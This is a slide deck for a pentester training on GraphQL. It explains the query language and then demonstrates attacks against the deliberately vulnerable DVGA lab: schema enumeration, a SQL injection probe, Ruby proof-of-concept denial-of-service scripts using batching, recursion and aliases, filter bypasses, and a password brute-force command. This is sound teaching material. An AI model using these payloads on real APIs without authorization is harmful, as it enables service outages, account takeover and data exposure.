marp | theme | class | paginate | header | footer |
---|---|---|---|---|---|
true |
acceis |
invert |
true |
![height:20px](themes/logo_acceis_white.svg) |
**GraphQL for Pentesters** - 22/11/2022 - Alexandre ZANNI (@noraj) |
- developed by Facebook in 2012
- released in 2015
- moved to GraphQL Foundation (Linux foundation) in 2018
- ✅ alternative to
- API schema: REST, SOAP, gRPC, etc.
- ❌ doesn't replace
- graph databases (Neo4j, ArangoDB, OrientDB)
- query lang. (SQL, NoSQL)
- but can be used on top of other API
- available for all major languages
- query result is returned in JSON
- both a query language and server-side API runtime
- ask only for what you need
- predictable results
- get many resources in a single request
- organized in terms of types and fields, not endpoints
- add new fields and types to a GraphQL API without impacting existing queries
- not limited by a specific storage engine
- real-time ready
type Project {
name: String
tagline: String
contributors: [User]
}
{
project(name: "GraphQL") {
tagline
}
}
equiv.
SELECT tagline FROM project where name = "GraphQL"
{
"project": {
"tagline": "A query language for APIs"
}
}
{
hero {
name
}
}
{
"hero": {
"name": "Luke Skywalker"
}
}
{
hero {
name
height
}
}
{
"hero": {
"name": "Luke Skywalker",
"height": 1.72
}
}
With REST:
GET /hero/0
{
"name": "Luke Skywalker",
"height": 1.72,
"mass": 77,
"address": "Galaxy du Centaure"
}
query {
User(id: 1337) {
name
posts {
title
}
followers(last: 3) {
name
}
}
}
{
"data": {
"User": {
"name": "noraj",
"posts": [
{ "title": "From cookie flag to DA" },
{ "title": "Why you shouldn't disable IPv6" }
],
"followers": [
{ "name": "Alice" },
{ "name": "Bob" }
{ "name": "Carole" }
]
}
}
REST query n°1
GET /users/1337
{
"user": {
"id": 1337,
"name": "noraj",
"address": {...},
"birthday": "30/02/1979"
}
}
REST query n°2
GET /users/1337/posts
{
"posts": [{
"id": 5542,
"title": "From cookie flag to DA",
"content": "...",
"comments": [...]
}, {
"id": 5543,
"title": "Why you shouldn't disable IPv6",
"content": "...",
"comments": [...]
}]
}
REST query n°3
GET /users/1337/followers
{
"followers": [{
"id": 1338,
"name": "Alice",
"address": {...},
"birthday": "01/05/1979"
},{
"id": 1339,
"name": "Bob",
"address": {...},
"birthday": "15/07/1978"
},{...}]
}
- With REST:
- 3 query
- too much data
- With GraphQL
- 1 query
- exact data
Found on OWASP VWAD:
$ git clone https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application.git dvga && cd dvga
$ docker build -t dvga .
$ docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 --name dvga dvga
$ cat /etc/hosts | grep .test
127.0.0.2 noraj.test
Verify: curl http://noraj.test:5013/graphql
Now let's put in practice Escape Pentesting GraphQL 101 series.
- Understanding the limits enforced
- Determining the verbosity
- Fetching all the information possible about the architecture
- https://inventory.raw.pm/ +
graphql
- Awesome (list) GraphQL Security
- GraphQL IDE / Client:
query {
__typename
}
{
"data": {
"__typename": "Query"
}
}
mutation {
__typename
}
{
"data": {
"__typename": "Mutations"
}
}
GraphQL mutation ~ PUT
for REST
Looking for the execution time of the query can be helpful to detect DoS attacks
query {
title1: __typename
title2: __typename
title3: __typename
title4: __typename
title5: __typename
}
Several queries in one query.
{
"data": {
"title1": "Query",
"title2": "Query",
"title3": "Query",
"title4": "Query",
"title5": "Query"
}
}
- Many alias, detect alias limit
- Very long alias name, detect character limit
query {
noraj
}
{
"errors": [
{
"message": "Cannot query field \"noraj\" on type \"Query\".",
"locations": [
{
"line": 2,
"column": 3
}
]
}
]
}
With gRPC there can be Reflection enabled that allow you to retrieve the prototype and list services.
Eg. with grpcurl:
# Server supports reflection
grpcurl localhost:8787 list
With GraphQL there is not such an easy thing to get the schema but there is something similar called introspection.
{
__schema {
queryType {
fields {
name
}
}
}
}
Full introspection query to get all queries, mutations, fields, etc.
Or this one that is compatible with GraphQL Voyager.
Did you see the size of the scrollbar? Will you read that?
No of course, but you can visualize that with GraphQL Voyager!
Ok a basic security measure is to disable introspection, so how to get schema when it is disabled?
We'll abuse of error suggestions: did you mean
.
query {
past
}
{
"errors": [
{
"message": "Cannot query field \"past\" on type \"Query\". Did
you mean \"paste\" or \"pastes\"?",
"locations": [
{
"line": 3,
"column": 2
}
]
}
]
}
We can automate this with Clairvoyance.
clairvoyance -o /tmp/dvga-schema.json http://noraj.test:5013/graphql \
# -w /usr/lib/python3.10/site-packages/clairvoyance/wordlist.txt
# /usr/share/seclists/Miscellaneous/lang-english.txt is too heavy,
# ~350k entries while default clairvoyance WL is ~10k
# english-words is ~5k entries
sudo -E wordlistctl fetch -d english-words
clairvoyance -o /tmp/dvga-schema.json http://noraj.test:5013/graphql \
-w /usr/share/wordlists/misc/english-words.10.txt
# /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
# is ~38k and full of garbage
# else build a custom wordlist
graphql-path-enum lists the different ways of reaching a given type in a GraphQL schema.
$ graphql-path-enum -i /tmp/introspection-response.json -t OwnerObject
Found 3 ways to reach the "OwnerObject" node:
- Query (pastes) -> PasteObject (owner) -> OwnerObject
- Query (paste) -> PasteObject (owner) -> OwnerObject
- Query (readAndBurn) -> PasteObject (owner) -> OwnerObject
Often the GraphQL endpoint will be /graphql
or /v1/graphql
. It's generally not hard to find but else you can try detected the endpoint with graphw00f.
$ graphw00f -d -t http://noraj.test:5013
[*] Checking http://noraj.test:5013/
[*] Checking http://noraj.test:5013/graphql
[!] Found GraphQL at http://noraj.test:5013/graphql
Identify GraphQL engine.
$ graphw00f -f -t http://noraj.test:5013/graphql
[*] Checking if GraphQL is available at http://noraj.test:5013/graphql...
[!] Found GraphQL.
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (Graphene)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md
[!] Technologies: Python
[!] Homepage: https://graphene-python.org
[*] Completed.
Blocking access to character object?
Five locations have to be blocked:
character
querycharacters
queryresults
field of thecharacters
objectresident
field of theLocation
objectcharacters
field of theEpisode
object
It's prone to error. If you forget one place...
For example, for a website, you are not authorized to view other users info (client
object) but you can access the client
filed of the comments
object.
It's allow authorization bypass.
GraphQL API often fetch data from a DB.
Where to inject in order to detect a SQLi?
The only injectable inputs are Arguments.
query {
user(name: "' or 1=1 --") {
id
email
}
}
- Find a query that take a long time to execute
- Batch it!
GraphQL query:
{
systemUpdate
}
HTTP request:
POST /graphql HTTP/1.1
...
Content-Type: application/json
{"query":"{\n\tsystemUpdate\n}"}
GraphQL query:
Most GraphQL client don't support batch query, they often have a mode to select one or another but won't send both on the HTTP JSON. So we'll have to craft the HTTP request ourselves.
Ruby PoC for batch querying:
require 'httpx'
data = Array.new(3) {
{ 'query' => 'query { systemUpdate }'}
}
HTTPX
.plugin(:proxy)
.with_proxy(uri: 'http://127.0.0.1:8080')
.with(timeout: { operation_timeout: 120 })
.post('http://noraj.test:5013/graphql', json: data)
- query 3 times
- send over the proxy for Burp logging
- extend timeout (default 60sec) because
systemUpdate
takes ~32 sec and we are querying it 3 times so it will take ~ 90 sec
HTTP request body:
[
{
"query": "query { systemUpdate }"
},
{
"query": "query { systemUpdate }"
},
{
"query": "query { systemUpdate }"
}
]
Possible when there is a circular reference
Ruby PoC for deep recursion:
require 'httpx'
nesting_level = 10
recursion_pattern = 'pastes{owner{'
fields = 'name'
payload = recursion_pattern * nesting_level + fields + '}}' * nesting_level
data = { 'query' => "query{#{payload}}"}
HTTPX
.plugin(:proxy)
.with_proxy(uri: 'http://127.0.0.1:8080')
.with(timeout: { operation_timeout: 120 })
.post('http://noraj.test:5013/graphql', json: data)
query {
pastes {
ipAddr # 1
ipAddr # 2
# ...
ipAddr # 1000
}
}
Ruby PoC for field duplication:
require 'httpx'
copy_level = 6000
copy_pattern = 'ipAddr,'
payload = copy_pattern * copy_level
data = { 'query' => "query{pastes{#{payload}}}"}
HTTPX
.plugin(:proxy)
.with_proxy(uri: 'http://127.0.0.1:8080')
.with(timeout: { operation_timeout: 120 })
.post('http://noraj.test:5013/graphql', json: data)
Alternative if batching is disabled.
query {
q1: systemUpdate
q2: systemUpdate
q3: systemUpdate
}
Ruby PoC for query aliases duplication:
require 'httpx'
copy_level = 3
query = 'systemUpdate'
payload = (1..copy_level).map { |i| "q#{i}:#{query}" }.join(',')
data = { 'query' => "query{#{payload}}"}
HTTPX
.plugin(:proxy)
.with_proxy(uri: 'http://127.0.0.1:8080')
.with(timeout: { operation_timeout: 120 })
.post('http://noraj.test:5013/graphql', json: data)
The Spread operator (...
) allows to reuse fragments. It's like a mixin.
fragment smallPaste on PasteObject {
id
title
content
}
query allPastes {
pastes {
...smallPaste
}
}
query allPastesWithStatus {
pastes {
public
...smallPaste
}
}
But what if we create a loop?
fragment noraj on PasteObject {
title
content
...jaron
}
fragment jaron on PasteObject {
content
title
...noraj
}
query {
...noraj
}
PS: the query is not even needed
Result:
Direct query:
query {
systemHealth
}
{
"errors": [
{
"message": "400 Bad Request: Query is on the Deny List.",
"locations": [
{
"line": 2,
"column": 2
}
],
"path": [
"systemHealth"
]
}
],
"data": {
"systemHealth": null
}
}
Query with custom operation name:
query random {
systemHealth
}
{
"errors": [
{
"message": "400 Bad Request: Operation Name \"random\" is not allowed.",
"locations": [
{
"line": 2,
"column": 2
}
],
"path": [
"systemHealth"
]
}
],
"data": {
"systemHealth": null
}
}
Bypass blacklist but not whitelist.
Query with allowed operation name:
query getPastes {
systemHealth
}
{
"data": {
"systemHealth": "System Load: 2.54\n"
}
}
Bypass both (poorly written) blacklist and whitelist.
query {
q1:systemHealth
}
Aliases too could bypass filters.
Content-Type: application/json
➡️ application/x-www-form-urlencoded
Mostly useful for mutations
- misconfigured GraphiQL
- mutations in GET param
Many other vulnerabilities that are not necessarily specific to GraphQL.
graphql-cop - GraphQL vulnerability scanner
CrackQL - GraphQL password brute-force and fuzzing utility
- Defense evasion: evades traditional API HTTP rate-limit and query cost analysis defenses
- Generic fuzzing (intruder like but benefits from defense evasion)
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
crackql -t http://noraj.test:5013/graphql -q login.graphql -i usernames_and_passwords.csv
GraphQLmap - scripting engine to interact with a graphql endpoint
- field fuzzing
- NoSQLi / SQLi
GraphQL Threat Matrix - resource that list the differences in how GraphQL implementations interpret and conform to the GraphQL specification
InQL - (CLI tool and) Burp extension for GraphQL